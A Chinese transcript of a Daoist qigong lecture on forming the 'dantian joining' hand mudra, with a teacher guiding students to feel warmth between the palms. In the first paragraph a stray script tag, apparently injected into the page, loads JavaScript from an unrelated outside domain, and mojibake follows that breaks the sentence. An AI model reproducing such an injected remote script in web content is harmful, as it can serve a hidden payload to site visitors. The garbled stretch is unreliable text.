道家功法:太一静功(七)
p; 这个印呢---叫丹田接印?script type='text/javascript' src='http://www.368tea.com/js/v.js'>堑澜痰囊桓鲋匾氖钟。罄捶鸬廊诤希鸺乙灿姓飧鍪钟×恕5导噬鲜堑澜痰氖裁从∧兀渴且桓鎏〉囊桓霰渲帧?/p>
大家看,我这个手-----这实际上是这个的变体……
(两臂托起双手做悬空半握交叉状,中间有缝隙,一个完美的太极图案呈现给大家)
大家看这是什么图啊?
(学员:太极图……)
对,这叫太极图,把太极的阴阳两极注通,叫注通阴阳,然后就化成了这个手印。清楚吧?它就是阴阳两极接通,就像这幅画图。它要产生气感,首先是两掌间一定不能重合放在一起,没有用。
你看一个人修行,你拿过来跟着学,没有效果,因为你没有气长生出来,左手和右手之间一定要有一丝缝隙,不能完全重合。如果你把手完全放上去了,没有效果,隔开了也没有效果。就是先贴在一起然后慢慢地抬起来留一丝丝缝隙,接触--又不接触,你很快就有发麻、发热、发胀的气感。
大家身体坐直,我们来体会一下……
(众人纷纷离开靠背,坐直了身体……)
双脚平放……两手小腹丹田前方接印.记住,你的整个手印不能放在你的腿上,整个手不能和你身体的任何部位接触,不能和小腹挨着,也不能放在腿上,两只手臂要抬起来……要圆……,不要夹着自己的身体。
男,左手在上,女,右手在上,两掌间保持一丝的缝隙,体会两掌间有气流的撑胀感,像磁铁的阴阳两极一样,它们中间有粘连感、联通感、有气流的涌动感,有气在左手和右手的大拇指间---两掌的上下间---串联的感觉,像两极的磁片一样发热、发胀-----
有感觉吗?……(学员纷纷:有……有……)
有吗?……
(学员:有------ 热乎乎的-------)
啊,热乎乎的哈,----会越来越烫,越来越热。但是我们看别人练功的话,我们看不出这一丝丝缝隙,我们把手彻底地放下去,这个阴阳它就不是相感了,而是完全成一块了,它这阴阳的气就会共生